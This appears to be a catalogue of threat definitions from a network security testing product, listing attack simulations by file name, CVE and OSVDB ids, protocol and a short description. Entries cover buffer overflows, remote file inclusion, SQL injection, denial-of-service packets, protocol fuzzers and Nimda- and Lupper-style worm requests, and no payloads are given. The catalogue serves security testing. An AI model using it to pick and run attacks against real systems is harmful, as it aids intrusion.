Detailed Description:	There exists a buffer overflow vulnerability in HP OpenView Network Node Manager. The flaw is due to boundary error in Common Gateway Interface (CGI) applications when processing overly long parameters submitted in HTTP requests. A remote unauthenticated attacker can send a crafted HTTP request to the target host to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected service, which is normally the Internet Guest Account on Windows platforms. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6204
Threat Package:	Standard
Threat File Name:	TSL20111021-06_Oracle_AutoVue_AutoVueX_ActiveX_Control_SaveViewStateToFile_Remote_File_Creation.xml
Executive Description:	Oracle AutoVue AutoVueX ActiveX Control SaveViewStateToFile Remote File Creation
Detailed Description:	An insecure method is exposed by Oracle AutoVue. The vulnerability exists in Oracle's AutoVue ActiveX control and is due to insufficient input validation of the parameter of "SaveViewStateToFile()" method. This can be exploited to rewrite arbitrary files in the context of the currently logged-on user. A remote attacker could possibly exploit this vulnerability to achieve arbitrary code execution by enticing a target user to open a crafted web page.

Protocol Type:	HTTP,HTTPS
Threat File Name:	TSL20060913-10_Microsoft_Internet_Explorer_daxctle_ocx_KeyFrame_Method_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer daxctle.ocx KeyFrame Method Memory Corruption(IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in the DirectAnimation ActiveX control. The flaw is due to improper validation of user supplied arguments to the KeyFrame() method of the affected object. By persuading the target user to visit a malicious web site, an attacker may execute arbitrary code on the target system with the privileges of the currently logged on user. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2006-4777
Threat File Name:	lupper23.xml
Executive Description:	Lupper Worm 23
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	FSC20081008-26_Novell_eDirectory_SOAP_Handling_Accept_Language_Header_Heap_Overflow.xml
Executive Description:	Novell eDirectory SOAP Handling Accept Language Header Heap Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Novell eDirectory. The flaw is due to boundary error when processing SOAP-HTTP requests. By supplying overly large data to the Accept-Language header, a remote unauthenticated attacker can leverage this vulnerability to inject and execute arbitrary code on the target host with System or root level privileges.
Protocol Type:	TCP
CVEID:	CVE-2008-4479
Threat Package:	Standard
Threat File Name:	eiq_licserver_rbof_IPv6.xml
Executive Description:	eIQnetworks Enterprise Security Analyzer License Manager Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a malicious payload to execute on vulnerable installations of eIQnetworks Enterprise Security Analyzer via a flaw in EnterpriseSecurityAnalyzer.exe. eIQnetworks Enterprise Security Analyzer License Server is a server application that typically listens on TCP port 10616. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2006-3838
OSVDB:	27526
Threat Package:	Standard
Threat File Name:	IMail_ldap2.xml
Executive Description:	IMail LDAP Denial of Service
Detailed Description:	This threat sends a large amount of data to the LDAP service that comes with IMail 5.0. This threat will cause the LDAP service to use upwards of 90% of CPU, thereby causing a DoS condition.
Protocol Type:	LDAP
Threat Package:	Standard
Threat File Name:	web-inf_IPv6.xml
Executive Description:	WEB-INF Directory Contents Listing (IPv6 Version)
Detailed Description:	This threat attempts to list the files contained in the WEB-INF directory, which should not normally be accessible with a J2EE web server. J2EE web servers typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-1855
Threat Package:	Standard
Threat File Name:	fuzz-IP_DF_IPv6.xml
Executive Description:	Fuzzer for Protocol:IP and Field:DF (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20100716-07_Novell_GroupWise_Internet_Agent_IMAP_Service_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Novell GroupWise Internet Agent IMAP Service Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Novell GroupWise Internet Agent. The vulnerability is within the IMAP component of the GroupWise Internet Agent service and is due to a boundary error while handling provided mailbox name for the CREATE command. An authenticated attacker could exploit this vulnerability by sending a crafted message to the server. Successful exploitation of this vulnerability could allow for a denial of service condition of the affected service, or the injection and execution of arbitrary code on the target system with System-level privileges.
Protocol Type:	IPv6,IMAP
Threat File Name:	FSC20101214-36_Microsoft_Office_PICT_Image_Converter_Integer_Overflow.xml
Executive Description:	Microsoft Office PICT Image Converter Integer Overflow

Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to the way Office allocates a buffer size when handling PICT image files. An attacker can leverage this vulnerability by enticing a target user to open a malicious file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2010-3946
Threat File Name:	flashchat_rfi.xml
Executive Description:	FlashChat Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. FlashChat is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20110810-05_Adobe_Photoshop_CS5_GIF_File_Heap_Corruption_IPv6.xml
Executive Description:	Adobe Photoshop CS5 GIF File Heap Corruption(IPv6 Version)
Detailed Description:	A heap corruption vulnerability exists in Adobe Photoshop CS5. The vulnerability is due to insufficient boundary checking while processing crafted GIF files. Remote attackers can exploit this vulnerability by enticing the target user to open a malicious GIF file. A successful attack would result in the execution of arbitrary code in the security context of the target user. If the attack fails the affected application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-2131
Threat File Name:	TSL20110614-17_Microsoft_Excel_SLK_File_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Excel SLK File Parsing Buffer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to a boundary error while parsing SLK data exchange files that results in buffer overflow. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the logic of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-1276
Threat File Name:	nimda8.xml
Executive Description:	Nimda Request URL 8
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	barman_rfi_IPv6.xml
Executive Description:	Barman 0.0.1r3 (interface.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Barman is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130326-10_HP_Intelligent_Management_Center_FaultDownloadServlet_Information_Disclosure.xml
Executive Description:	HP Intelligent Management Center FaultDownloadServlet Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Management Center. The vulnerability is due to a lack of authentication and insufficient input validation when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the file contents of arbitrary files on a target system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-5202
OSVDB:	91027
Threat File Name:	hivemail_cmi_a_IPv6.xml
Executive Description:	HiveMail Vulnerabilities Remote Command Execution (IPv6 Version)
Detailed Description:	This threat sends a crafted URL containing PHP code which is executed by the server. HiveMail is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0757
Threat File Name:	TSL20121115-03_Novell_NetIQ_Privileged_User_Manager_Eval_Policy_Bypass.xml
Executive Description:	Novell NetIQ Privileged User Manager Eval Policy Bypass
Detailed Description:	A policy-bypass vulnerability has been reported in Novell NetIQ Privileged User Manager, which could allow remote attackers to compromise a system. The vulnerability is due to an access control weakness when handling calls to the eval method within POST requests. A remote, unauthenticated attacker can exploit this vulnerability by sending a malicious eval request to the vulnerable server. Successful exploitation could result in command execution under the context of the SYSTEM
Protocol Type:	HTTP,HTTPS
OSVDB:	87334
Threat File Name:	FSC20091214-01_HP_OpenView_Network_NodeManager_ovalarm.exe_Accept-Language_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager ovalarm.exe Accept-Language Buffer Overflow

Detailed Description:	A stack buffer overflow exists in HP OpenView Network Node Manager (NNM) CGI program ovalarm.exe. The vulnerability is due to a boundary error when processing the Accept-Language HTTP header and the OvAcceptLang cookie value in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server. In an attack scenario where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-4179
Threat Package:	Standard
Threat File Name:	FSC20051104-01_Apple_QuickTime_MOV_File_String_Handling_Integer_Overflow.xml
Executive Description:	Apple QuickTime MOV File String Handling Integer Overflow
Detailed Description:	A vulnerability exists in the way Apple QuickTime handles MOV media files. Specifically, the processing of crafted string values embedded in a MOV file is prone to a buffer overflow. This vulnerability may result in arbitrary code being injected and executed on the target host. In a successful attack, an attacker can inject code into the vulnerable target. The behaviour of the target is dependent on the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of the attack attempt. Note that any code executed by the attacker runs with the privileges of the logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2005-2753
Threat Package:	Standard
Threat File Name:	TSL20170517-05_Red_Hat_JBoss_BPM_Suite_BRMS_Tasks_List_Cross-Site_Scripting_IPv6.xml
Executive Description:	Red Hat JBoss BPM Suite BRMS Tasks List Cross-Site Scripting (IPv6 Version)
Detailed Description:	A cross-site scripting vulnerability has been reported in Red Hat JBoss BPM Suite and JBoss BRMS. The vulnerability is due to insufficient validation of user supplied input within the Tasks List component of business-central. An authenticated attacker can exploit this vulnerability by creating a malicious custom Task List filter. Successful exploitation would result in the execution of arbitrary script code in the target user's browser.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2017-2674
Threat File Name:	nimda13.xml
Executive Description:	Nimda Request URL 13
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120801-01_Oracle_Outside_In_FlashPix_Image_Processing_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In FlashPix Image Processing Heap Buffer Overflow(IPv6)
Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling the FlashPix image files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed FlashPix file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-1744
OSVDB:	83912
Threat File Name:	bootpd_overflow.xml
Executive Description:	BOOTPD Overflow
Detailed Description:	This threat causes an overflow in certain versions of bootpd for Unix and Linux. bootpd normally listens on port 67.
Protocol Type:	BOOTP
CVEID:	CVE-1999-0799
OSVDB:	7420
Threat Package:	Standard
Threat File Name:	TSL20130401-02_HP_System_Management_Homepage_iprange_Parameter_Code_Execution_IPv6.xml
Executive Description:	HP System Management Homepage iprange Parameter Code Execution(IPV6 version)
Detailed Description:	A code execution vulnerability exists in HP System Management Homepage (SMH). The vulnerability is due to a flaw when handling the iprange parameter sent to the /proxy/DataValidation URL. A remote attacker can exploit this vulnerability by sending a malicious request to the affected server. A successful exploitation attempt could result in executing arbitrary code on the target server. Anonymous access must be enabled to trigger this vulnerability
Protocol Type:	IPv6,HTTPS
OSVDB:	91812
Threat File Name:	iPlanetChunked_IPv6.xml
Executive Description:	iPlanet Chunked Encoding (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in Sun's iPlanet web server. Can be used to cause remote code execution. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0845
OSVDB:	5070
Threat Package:	Standard
Threat File Name:	cpgnuke_dragonfly.xml
Executive Description:	CPG Dragonfly CMS Remote Command Execution Vulnerability
Detailed Description:	This threat send multiple crafted URLs to exploit a remote command execution flaw through a remote file inclusion flaw. CPGNuke Dragonfly is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0644
OSVDB:	23058
Threat File Name:	tcpdump_bgpp_IPv6.xml

Executive Description:	tcddump BGP DoS (IPv6 Version)
Detailed Description:	This threat sends out a packet that appears to part of a transaction between a BGP server and client. However, it is a crafted DoS packet, designed to cause tcddump to enter into an infinite loop. This can be used by an attacker to mask further attacks. (IPv6 Version)
Protocol Type:	BGP/IPv6
CVEID:	CVE-2005-1279
OSVDB:	15863
Threat Package:	Standard
Threat File Name:	NOOPTcpHP-UNIX.xml
Executive Description:	TCP NOOP Packet Variant HP-UNIX
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	TSL20161220-06_Autodesk_Design_Review_BMP_biClrUsed_Buffer_Overflow_IPv6.xml
Executive Description:	Autodesk Design Review BMP biClrUsed Buffer Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow vulnerability exists in Autodesk Design Review. The vulnerability is due to improper handling of biClrUsed field in a BMP file. A remote attacker could exploit these vulnerabilities by enticing the user to visit a maliciously crafted web-page or open a maliciously crafted file. Successful exploitation would allow the attacker to execute arbitrary code in the context of the user.
Protocol Type:	HTTPS, HTTP, IMAP, POP3, SMB/CIFS, SMTP, FTP, NFS, IPv6
Threat File Name:	acftpd_bof_IPv6.xml
Executive Description:	acFTPD FTP Server USER command buffer overflow (IPv6 Version)
Detailed Description:	This threat send a crafted FTP USER command during the login process which triggers a buffer overflow condition. acFTP Server is an FTP server which typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	tor_controlport_activex_overwrite_IPv6.xml
Executive Description:	Tor ControlPort "torrc" Missing Authentication Unauthorized Access Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Tor ControlPort ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4174
Threat Package:	Standard
Threat File Name:	ICMPechoReplyFlood_IPv6.xml
Executive Description:	ICMP Echo Reply Flood (IPv6 Version)
Detailed Description:	This threat emulates the effect of an attack from multiple sources replying to a forged ICMP echo request. Can be performed by issuing ICMP pings to large netblocks and subnets. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-2001-0754
OSVDB:	5541
Threat Package:	Standard
Threat File Name:	TSL20170405-03_HPE_Intelligent_Management_Center_RMI_Registry_Insecure_Deserialization.xml
Executive Description:	HPE Intelligent Management Center RMI Registry Insecure Deserialization
Detailed Description:	An insecure deserialization vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to deserialization of untrusted data by RMI Registry while having vulnerable classes in the code path. A remote, unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted serialized object. Successful exploitation results in arbitrary code execution under the context of the SYSTEM or root user.
Protocol Type:	RMI
CVEID:	CVE-2017-5792
Threat File Name:	sipvariedtransports_IPv6.xml
Executive Description:	SIPPING: Varied and Unknown Transports (IPv6 Version)
Detailed Description:	This threat sends out a SIP message with many different transport types in the Via: headers, some of unknown type. This should be legal because the first transport type is UDP, but it may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	sipmultipleto.xml
Executive Description:	SIP Multiple To: Headers
Detailed Description:	This threat sends out a SIP INVITE message with multiple To: headers. This may confuse or crash a PBX that isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	ikescan_IPv6.xml
Executive Description:	ike-scan First Attempt (IPv6 Version)
Detailed Description:	This threat mimics the first packet sent out by the ike-scan utility. ike-scan is used to enumerate VPNs and crack shared secrets. ISAKMP (the protocol used) is typically from source and destination ports 500, which is set in this threat. (IPv6 Version)
Protocol Type:	ISAKMP/IPv6
Threat Package:	Standard
Threat File Name:	fprot_ace_dos.xml
Executive Description:	F-PROT Antivirus ACE Remote Denial Of Service Vulnerability

Detailed Description:	This threat leverages a flaw in F-PROT Antivirus's handling of ACE files leading to a denial of service condition. F-PROT Antivirus is a client application that scans for malicious software from varied locations. This threat uses a web server typically listening on port 80 as a transmission vector.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	claroline1.xml
Executive Description:	Claroline SQL Injection Attack
Detailed Description:	This threat takes advantage of a flaw in the Claroline E-Learning application that allows a remote attacker to inject arbitrary SQL commands through its web interface. Claroline is a web application, which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1375
OSVDB:	16534
Threat Package:	Standard
Threat File Name:	nexusway.xml
Executive Description:	Neteyes Nexusway Remote Command Execution
Detailed Description:	This threat exploits the CGI scripts contained on the Neteyes Nexusway Border Gateway web console. By passing more shell arguments through the command line to application, it is possible to run arbitrary commands in the context of the super user. This affects the built in webserver on this appliance.
Protocol Type:	HTTP
CVEID:	CVE-2005-1559
OSVDB:	16448
Threat Package:	Standard
Threat File Name:	TSL20131008-10_Microsoft_Silverlight_WriteableBitmap_SetSource_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Silverlight WriteableBitmap SetSource Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in Microsoft Silverlight. The vulnerability exists in the SetSource() method of the WriteableBitmap class from System.Windows.dll. By enticing a user to visit a website, an attacker can exploit this vulnerability to disclose sensitive memory information on the target system.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-3896
OSVDB:	98223
Threat File Name:	FSC20081014-16_Microsoft_Active_Directory_LDAP_Search_Request_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Active Directory LDAP Search Request Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Active Directory on Windows 2000 Server platform. The vulnerability is specifically due to improper processing of LDAP Search requests. Remote unauthenticated attackers could exploit this vulnerability by sending a specially crafted request to the affected server and could possibly execute arbitrary code with System privileges, or cause denial of service condition due to memory corruption. (IPv6 Version)
Protocol Type:	LDAP/IPV6
CVEID:	CVE-2008-4023
Threat Package:	Standard
Threat File Name:	TSL20111201-06_RealNetworks_RealPlayer_MPG_Width_Integer_Underflow_Memory_Corruption.xml
Executive Description:	RealNetworks RealPlayer MPG Width Integer Underflow Memory Corruption
Detailed Description:	An integer underflow vulnerability exists in RealPlayer's handling of MPEG movies. The vulnerability is caused when the application subtracts one from a user controlled value that is then used as a loop iterator. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted MPEG file. Successful exploitation can lead to the injection and execution of arbitrary code in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-4259
Threat File Name:	TSL20130212-17_Microsoft_Internet_Explorer_VML_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer VML Memory Corruption(IPV6 Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to memory corruption when parsing Vector Markup Language. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary code would be executed in the security context of the currently logged-in user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2013-0030
OSVDB:	90127
Threat File Name:	TSL20130621-11_PHP_SdnToJewish_Function_Integer_Overflow_IPv6.xml
Executive Description:	PHP SdnToJewish Function Integer Overflow [IPv6, Version]
Detailed Description:	A denial of service vulnerability exists in PHP. The vulnerability is due to insufficient input validation leading to an integer overflow in the SdnToJewish function. This function is located in jewish.c which is part of PHP's Calendar component. An attacker can exploit this vulnerability if the application uses the vulnerable function. A successful attack will result in a denial of service condition.
Protocol Type:	IPv6, HTTPS,HTTP
CVEID:	CVE-2013-4635
OSVDB:	93968
Threat File Name:	ipv6_SymantecFirewallDNSDOS.xml
Executive Description:	IPv6 Symantec Firewall DNS Response Denial of Service
Detailed Description:	This threat sends a DNS packet where the compressed name pointer points back to itself, causing curious Symantec Firewall applications to cause the kernel to go into an infinite loop. This is an IPv6 version of the attack.
Protocol Type:	DNS
Threat Package:	Standard

Threat File Name:	foing_cmi_a_IPv6.xml
Executive Description:	Foing 0.7.0 (phpBB) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via index.phps "phpbb_root_path" parameter. Foing is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130813-12_Microsoft_Internet_Explorer_EUC-JP_Character_Encoding_Universal_Cross_Site_Scripting_IPv6.xml
Executive Description:	Microsoft Internet Explorer EUC-JP Character [IPv6, Version] Encoding Universal Cross Site Scripting
Detailed Description:	A universal cross site scripting vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way that IE handles EUC-JP character encoding. A remote attacker could exploit this vulnerability by submitting specially crafted HTML code into a target web site that uses EUC-JP character encoding, such as a web forum or social networking site. In the case of successful exploitation, arbitrary attacker code would run in the target users' browsers in the security context of the affected web site.
Protocol Type:	IPv6,HTTPS,HTTP
CVEID:	CVE-2013-3192
OSVDB:	96192
Threat File Name:	phpMyVisitesFileRead.xml
Executive Description:	phpMyVisites Arbitrary File Reading
Detailed Description:	This threat takes advantage of a form submission that will set a cookie which allows an attacker to read an arbitrary file off of the system. This allows the attacker to learn more about the system for further attacks or read sensitive information. phpMyVisites is a PHP script which will typically run on a webserver listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1325
OSVDB:	15857
Threat Package:	Standard
Threat File Name:	BGPType0.xml
Executive Description:	BGP Invalid Type 0
Detailed Description:	This threat sends out an invalid BGP packet with a packet type of 0. This can cause tcpdump to crash, and may also possibly affect routers. BGP typically listens on port 179.
Protocol Type:	BGP
CVEID:	CVE-2002-1350
OSVDB:	9853
Threat Package:	Standard
Threat File Name:	TSL20131030-04_Novell_ZENworks_Configuration_Management_umaninv_Information_Disclosure.xml
Executive Description:	Novell ZENworks Configuration Management umaninv Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to a failure to validate the "Filename"; GET parameter to the umaninv service leading to directory traversal. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to affected service. Successful exploitation would allow the attacker to disclose contents of arbitrary files.
Protocol Type:	HTTP
CVEID:	CVE-2013-1084
OSVDB:	99198
Threat File Name:	FSC20060202-10_Mozilla_Products_Graphics_and_XML_Features_Integer_Overflows_IPv6.xml
Executive Description:	Mozilla Products Graphics and XML Features Integer Overflows (IPv6 Version)
Detailed Description:	There exists an integer overflow in certain versions of Mozilla products. The vulnerability exists in the Scalable Vector Graphics (SVG) rendering engine. A remote attacker may leverage the vulnerability by enticing the victim to visit a malicious web page. Exploitation may lead to memory corruption which can result in denial of service or execution of arbitrary code under the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0297
Threat Package:	Standard
Threat File Name:	TSL20140611-06_HP_Service_Virtualization_AutoPass_License_Server_Directory_Traversal_IPv6.xml
Executive Description:	HP Service Virtualization AutoPass License Server Directory Traversal IPv6 version.
Detailed Description:	A code execution vulnerability exists in HP Service Virtualization running the AutoPass License Server. The vulnerability is due to a directory traversal flaw in UploadRequestHandler.class. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted requests to the vulnerable service. In the event of a successful attack, arbitrary files can be created on the server, leading to arbitrary code execution in the context of the SYSTEM. Tester should turn variable \$destPort into 5814 before test.
Protocol Type:	HTTP.IPV6
CVEID:	CVE-2013-6221
OSVDB:	107943
Threat File Name:	phpPay_mailforger_IPv6.xml
Executive Description:	phPay Nu_mail.inc.PHP Open Email Relay Vulnerability phPay Nu_mail.inc.PHP Open Email Relay Vulnerability (IPv6 Version)
Detailed Description:	This email sends a crafted url that will allow forge and or send arbitrary unsolicited bulk email. phPay is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080812-07_Microsoft_Internet_Explorer_Print_Preview_Handling_Command_Execution_IPv6.xml
Executive Description:	Microsoft Internet Explorer Print Preview Handling Command Execution (IPv6 Version)

Detailed Description:	There exists a command execution vulnerability in Microsoft Internet Explorer. The vulnerability is due to improper security enforcement in the implementation of Print Preview. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary commands on the vulnerable client system, in the context of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-2259
Threat Package:	Standard
Threat File Name:	TSL20110126-04_Oracle_Document_Capture_ActiveX_Control_WriteJPG_Buffer_Overflow.xml
Executive Description:	Oracle Document Capture ActiveX Control WriteJPG Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in NCSECWLib ActiveX control component included with Oracle Document Capture. The vulnerability is due to a improper bounds ochecking of arguments within the object's WriteJPG method. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation could lead to injection and execution of arbitrary code on the target system with the privileges of the logged in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3599
OSVDB:	N/A
Threat File Name:	FSC20080926-11_DATAControl_RealWin_SCADA_System_Crafted_Packet_Handling_Buffer_Overflow.xml
Executive Description:	DATAControl RealWin SCADA System Crafted Packet Handling Buffer Overflow
Detailed Description:	There exists a stack buffer vulnerability in DATAControl RealWin SCADA System server product. The vulnerability is due to a boundary error while parsing a crafted value in a FC_INFOTAG/SET_CONTROL packet. Remote unauthenticated attackers could exploit this vulnerability by sending a malicious packet to the target server and can execute arbitrary code with the privileges of the affected service, normally Administrator privileges on Windows systems, or cause Denial of Service condition due to abnormal termination of the service. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the injected code. Any injected code will be executed with the privileges of the affected service, normally Administrator privileges on Windows systems. In the case of an unsuccessful code execution attack, the service will terminate abnormally due to memory corruption causing the Denial of Service condition.
Protocol Type:	Proprietary Protocol(over port 910/TCP)
CVEID:	CVE-2008-4322
Threat Package:	Standard
Threat File Name:	TSL20111213-14_Microsoft_Excel_Record_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Excel Record Parsing Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Excel. The vulnerability is due to an error in parsing Excel records. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3403
Threat File Name:	sipunknownmismatch.xml
Executive Description:	SIPPING: Unknown Method and CSeq Mismatch
Detailed Description:	This threat sends out a SIP message with an unknown method and a different (but known) CSeq method. This is illegal and can cause one of a number of possible error messages. Because it is unexpected, this may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	ipv6_random_length_IPv6.xml
Executive Description:	IPv6 Random Length Field (IPv6 Version)
Detailed Description:	This threat sends an IPv6 ICMP ping packet, with the length specifier set to random. In poor stack implementations it is possible this may cause a buffer overrun. (IPv6 Version)
Protocol Type:	IPv6/IPv6
Threat Package:	Standard
Threat File Name:	FSC20101012-16_Microsoft_Word_Malformed_Index_Code_Execution_IPv6.xml
Executive Description:	Microsoft Word Malformed Index Code Execution (IPV6 VERSION)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Word. The vulnerability is due to an error while parsing malformed indexes in a MS Word file.An attacker can exploit this vulnerability to execute arbitrary code in the context of the current user by enticing them to open a specially crafted Word document.
Protocol Type:	IPV6,HTTP,HTTPS,NFS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2750
Threat File Name:	TSL20130930-05_SolarWinds_Orion_Pepco32c_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	SolarWinds Orion Pepco32c ActiveX Control Buffer Overflow
Detailed Description:	A heap-based buffer overflow vulnerability exists in SolarWinds Orion Server and Application Monitor. The vulnerability is due to insufficient bounds checking on the PEstrarg1 parameter of the Pepco32c control. The application copies the parameter into a fixed size buffer, which can be overflowed. The vulnerable ActiveX control is part of the Gigasoft ProEssentials library embedded in SolarWinds Orion to provide charting functionality. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution within security context of the target user. The vendor, SolarWinds, has not released a patch for this vulnerability at the time of writing.
Protocol Type:	HTTP,HTTPS
OSVDB:	97661
Threat File Name:	free_img_host_rfi_IPv6.xml
Executive Description:	Free Image Hosting <= 2.0 (AD_BODY_TEMP) Remote File Inclusion Vulnerability (IPv6 Version)
